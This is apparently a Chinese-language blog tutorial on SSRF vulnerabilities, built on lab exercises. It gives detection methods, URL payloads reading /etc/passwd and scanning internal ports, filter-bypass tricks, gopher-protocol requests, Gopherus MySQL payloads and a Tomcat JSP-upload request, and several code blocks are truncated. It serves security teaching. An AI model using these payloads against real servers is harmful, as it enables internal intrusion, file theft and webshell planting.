SSRF漏洞
SSRF漏洞简介
SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
SSRF漏洞原理
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。

攻击目标:外网不能访问内网端口,主机
危害:
1.读取本地文件
2.服务器本地,内网端口扫描
3.内网存活主机探测
4.攻击内网应用
漏洞函数:
1 | file_get_contents()、fsockopen()、curl_exec() |
(1)file_get_contents()
1 |
|
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen()
1 |
|
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
(3)curl_exec()
1 |
|
curl_exec
函数用于执行指定的cURL会话
SSRF漏洞验证方式
1.该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
2.DNSLOG外带测试
原理:(1)当目标服务器存在SSRF漏洞时,可控参数(如 ?url=http://attacker.com
)可能使服务器发起HTTP/DNS请求。
(2)如果目标服务器解析并请求了 [your-domain].dnslog.cn
,则会在DNSLOG平台留下记录,证明漏洞存在。
解读:目标服务器极为存在存在缺陷的web应用,可控参数就是我们从dnslog平台上获取的地址,当ssrf漏洞存在时,有漏洞的web应用也就是目标服务器就会去向我们从dnslog平台上获取的地址发去http请求,这样dnslog平台就会有记录,由此可证明是否纯在ssrf漏洞
步骤:
- 获取DNSLOG域名(如
abc123.dnslog.cn
) - 构造Payload并发送(
?url=http://abc123.dnslog.cn
) - 检查DNSLOG平台是否有查询记录
- 确认SSRF漏洞存在后,进一步利用(如探测内网、读取文件等)
3.抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
- 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
- 通过二级域名暴力猜解工具模糊猜测内网地址
- 通过file协议读取内网信息获取相关地址
4.回显型ssrf
当SSRF漏洞有回显时,可通过返回的 HTTP响应头、页面标题、内容 判断是否成功请求目标资源。
(1)检测方法
① 检查HTTP响应头(Server/Banner信息)
1 | GET /ssrf.php?url=http://example.com HTTP/1.1 |
响应头
1 | HTTP/1.1 200 OK |
- 如果返回的
Server
、X-Powered-By
是 example.com 的而非target.com
的,说明请求由服务端代理。
5.无回显ssrf
当SSRF 无回显 时,可通过 响应时间、状态码、页面长度 等差异判断漏洞是否存在(类似布尔SQL盲注)。
(1)检测方法
① 基于响应时间差异
- 请求一个 存在/不存在 的端口,对比响应时间:
1 | /ssrf.php?url=http://192.168.1.1:80 <!-- 开放HTTP服务,响应快 --> |
② 基于HTTP状态码
请求不同服务,观察状态码:
1 | /ssrf.php?url=http://127.0.0.1:3306 --> 返回500(MySQL未开HTTP服务) |
③ 基于页面长度差异
- 使用Burp Intruder爆破内网IP,筛选不同长度的响应:
1 | /ssrf.php?url=http://192.168.1.1 --> 返回长度=1200 |
漏洞可能出现点
(1) 分享功能:通过URL地址分享文章等,例如如下地址:
1 | http://share.xxx.com/index.php?url=http://www.xxx.com |
通过url参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞。
(2)图片加载/下载:通过URL地址加载或下载图片:
1 | http://image.xxx.com/image.php?image=http://www.xxx.com |
图片加载存在于很多的编辑器中,编辑器上传图片处加载设定好的远程服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF。
(3)图片/文章收藏功能:
1 | http://title.xxx.com/title?title=http://title.xxx.com/xxx |
(4)转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览。
(5)在线翻译:给网址翻译对应网页的内容。
(6)邮件系统:比如接收邮件服务器地址。
(7)利用参数中的关键字查找:
1 | share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain... |
总的来说,需要从远程服务器请求资源的网站都有可能存在SSRF漏洞。
漏洞利用(URL的伪协议)
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
1 | file:/// 从文件系统中获取文件内容,如,file:///etc/passwd |
1.内网访问
利用SSRF漏洞访问内网中的Web应用或其他服务。通过构造特定的URL,攻击者可以访问内网中的敏感资源。
1 | ?url=http://127.0.0.1/flag.php |
2.读取文件(file协议)(查找内网存活主机ip)
利用file协议读取本地文件
1 | ?url=file:///etc/passwd |
3.端口扫描(dict协议)(查找内网主机开放端口)
利用ssrf漏洞扫描内网中的开放端口
1 | ?url=dict://127.0.0.1:8000 |


4.http伪协议(目录扫描获取子页面)

通过将这个页面拦截下然后发到攻击模块,然后将indexhuozeindex.php标记起来,导入我们实现用来目录扫描的字典,开始攻击,然后根据页面的长度判断这个页面是否存在

像方框里的这三个就是存在的页面
5.发送get,post请求(gopher协议)
gopher伪协议
基本格式就是:
1 | gopher://ip:端口号/gopher提交的内容 |
gopher伪协议默认端口时70
gopher请求不转发第一个字符,所以在请求内容之前需要加一个填充位_
get提交

操作
为了方面自己可以不写url编码的payload像上面那个一样另一种做法是先
gopher://172.250.250.4:80/_
抓这个界面的包,然后
GET /name.php?name=benben HTTP/1.1
Host: 172.250.250.4
将这些复制在url里面
并且将这些url编码两次(目的是让请求到达被攻击者主机时正好被url解码成正常的字符)

post提交
1 | POST /name.php HTTP/1.1 |
将这段代码url编码以下放在
gopher://172.250.250.4:80/_
后面即可

ssrf绕过方式
1、绕过限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过
如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2、绕过限制请求IP不为内网地址:
(1)采用短网址绕过
1 | 比如百度短地址https://dwz.cn/ |
(2)利用特殊域名,xip.io可以指向任意域名(原理是DNS解析),即 127.0.0.1.xip.io,可以解析为127.0.0.1
(3)采用进制转换,127.0.0.1 八进制:0177.0.0.1
;十六进制:0x7f.0.0.1
;十进制:2130706433

(4)利用[::]
,http://[::]:80/
会解析为 http://127.0.0.1
(5)添加端口号,http://127.0.0.1:8080
(6)利用句号,127。0。0。1
会解析为 127.0.0.1
3.限制请求只为http协议
(1)采取302跳转
若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器访问从而重定向到自己内网地址或本机地址。
重定向文件代码文件如下
1 | <?php |
绕过原理如下

也就是将公网服务器作为跳板,在明面上访问的是公网服务器实则公网服务器利用我们刚写入的重定向代码文件302重定向到ssrf漏洞服务器也就是我们想要访问的本地,就实现了通过访问公网服务器的url达到拿到我们想访问的本地界面
为了做实验我们需要先自己搭建一个公网服务器
贝锐花生壳+小皮面板


然后开启小皮面板
开启nginx服务
然后创建一个端口对应88的站点

然后再打开这个网站的根目录,创建一个index.php文件将上面的重定向的代码文件写入
准备工作做好,打开靶场之后
访问公网ip即可

(2) DNS重绑定
https://lock.cmpxchg8b.com/rebinder.html
传统的 SSRF 过滤流程通常包括以下步骤:
- 从输入的 URL 中提取 Host。
- 对 Host 进行 DNS 解析,获取解析的 IP。
- 检测该 IP 是否合法(如是否是私有 IP)。
- 如果 IP 合法,则发起请求。
这个流程中存在两次 DNS 解析:第一次用于检查合法性,第二次用于实际发起请求。攻击者可以利用这两者之间的时间差,通过 DNS 重绑定技术,使域名在第二次解析时指向恶意 IP。
攻击者需要控制一个 DNS 服务器,并将目标域名的 TTL 设置为非常短的时间(如 0),以防止 DNS 缓存。而以上工具允许攻击者快速设置和管理 DNS 重绑定攻击,而无需自己搭建 DNS 服务器。


利用封闭字母数字
封闭字母数字(Enclosed Alphanumerics)是一组特殊的 Unicode 字符,这些字符在某些情况下可以被浏览器或解析器识别为普通的字母数字字符。利用这些字符可以绕过对特定域名或IP地址的过滤。
1 | ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com |
使用ssrf进行文件上传漏洞


使用ssrf进行文件包含漏洞
运用到了很多的php伪协议

使用ssrf对mysql进行未授权查询
未授权意思就是我们不用密码直接登入数据库进行查询
这个实验如果想在本地机进行实验的话需要我们现在kali上面搭建一个自己的mysql数据库
1.在kali里面先打开一个窗口运行
1 | tcpdump -i lo port 3306 -w mysql.pcpng |
2.同时再打开一个窗口写入指令(查看数据库的指令),回车
3.抓取到数据包之后将抓取到的文件放在本地的wishark里面进行分析


1 | import sys |
使用工具构造payload
1 | #python2.7 gopherus.py --exploit mysq! |

使用ssrf对mysql未授权文件写入
在进行写入这个操作之前我们要查看以下是否有写入权限
1 | #python2.7 gopherus.py --exploit mysq! |
在生成一个paylaod之后我们将ip地址改为我们攻击的内网主机ip,然后将生成的payloa提交即可

然后再进行写入的动作
此时是将文件写入到/var/www/html这个路径下面

使用ssrf对tomcat文件写入
tomcat漏洞工作在8080端口
首先先验证以下这个靶场是否存在tomcat漏洞


发现存在
继续进行
下面是文件写入的内容(payload信息)
1 | PUT /1.jsp/ HTTP/1.1 |
和上面的操作都一样将这个paylaod粘在gopher协议后面,将这个payloadurl编码两次然后提交
1 | PUT /1.jsp/ HTTP/1.1 |

将payload进行两次paylaod编码

然后来验证以下我们是否文件写入成功


以上验证我们文件写入成功
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~